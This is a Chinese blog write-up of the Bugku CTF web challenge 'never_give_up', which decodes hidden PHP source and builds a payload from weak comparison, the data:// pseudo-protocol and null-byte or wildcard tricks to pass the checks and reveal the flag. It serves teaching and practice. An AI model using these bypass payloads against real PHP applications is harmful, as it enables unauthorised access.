随笔 - 51  文章 - 0  评论 - 4  阅读 - 19287

CTFer成长记录——CTF之Web专题·bugku—never_give_up

一、题目链接

https://ctf.bugku.com/challenges/detail/id/88.html

二、解法步骤

  打开网页,url中看到id=1,修改成2、3、4发现无反应。然后查看网页源代码:,提示一个网址,直接访问看看:

发现url跳转到了bugku的论坛:

  

  BP抓1p.html网页的包,在返回包中发现一串密文:

  --JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRDEnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUyQzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTIyZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF--

  这串是用--包含的,尝试base64解密:

--%22%3Bif(!%24_GET%5B'id'%5D)%0A%7B%0A%09header('Location%3A%20hello.php%3Fid%3D1')%3B%0A%09exit()%3B%0A%7D%0A%24id%3D%24_GET%5B'id'%5D%3B%0A%24a%3D%24_GET%5B'a'%5D%3B%0A%24b%3D%24_GET%5B'b'%5D%3B%0Aif(stripos(%24a%2C'.'))%0A%7B%0A%09echo%20'no%20no%20no%20no%20no%20no%20no'%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20%40file_get_contents(%24a%2C'r')%3B%0Aif(%24data%3D%3D%22bugku%20is%20a%20nice%20plateform!%22%20and%20%24id%3D%3D0%20and%20strlen(%24b)%3E5%20and%20eregi(%22111%22.substr(%24b%2C0%2C1)%2C%221114%22)%20and%20substr(%24b%2C0%2C1)!%3D4)%0A%7B%0A%09%24flag%20%3D%20%22flag%7B***********%7D%22%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20!!!%22%3B%0A%7D%0A%0A%0A%3F%3E--得到url编码,用url解密试试:

  得到如下php代码:

--";if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	$flag = "flag{***********}"
}
else
{
	print "never never never give up !!!";
}


?>--

  审计代码,需要我们传入三个参数:id、a、b,

其中:id==0,但如果id=0就相当于没传入,又发现用的是弱比较,那么传入id=0a。

     a首先需要经过stripos($a,'.')函数:该函数是从$a中寻找.这个字符,我们需要绕过它,结合后续的file_get_contents()函数,可知$a应该是个文件。

那么可以用data://伪协议创建文件,文件内容根据后面的条件轻易得出。绕过stripos()函数与创建文件:a=data://text/plain,bugku is a nice plateform!。

     b首先满足长度大于5,然后满足eregi("111".substr($b,0,1),"1114"),eregi()函数是一个搜索函数,在第二个参数中搜索第一个参数。

  "111".substr($b,0,1)的意思是,将$b的从0开始的第一个字符拼接在111后面,于是我们可知b以4开头;接着substr($b,0,1)!=4意为$b的第一个字符串不能为4,这是两个矛盾的条件。这利用substr函数的漏洞:'\0'是第一个参数结束的标志,那么如果一个字符串以'\0'开头,那么substr就不会进行字符串提取,于是我们将b传入为%0012345。

当然也可以用通配符"?"来绕过:111?在1114里面,且? !=4。b还能是:?123456。

  最后payload:hello.php?id=0a&a=data://text/plain,bugku is a nice plateform!&b=%00123456
  

  得到flag。

三、总结

  本题依然需要代码审计能力以及常见的函数绕过方式,还需要知道data伪协议既可以用于文件包含也可以用于创建文件。

 

posted on   MiracleWolf  阅读(135)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
< 2025年3月 >
23 24 25 26 27 28 1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31 1 2 3 4 5

点击右上角即可分享
微信分享提示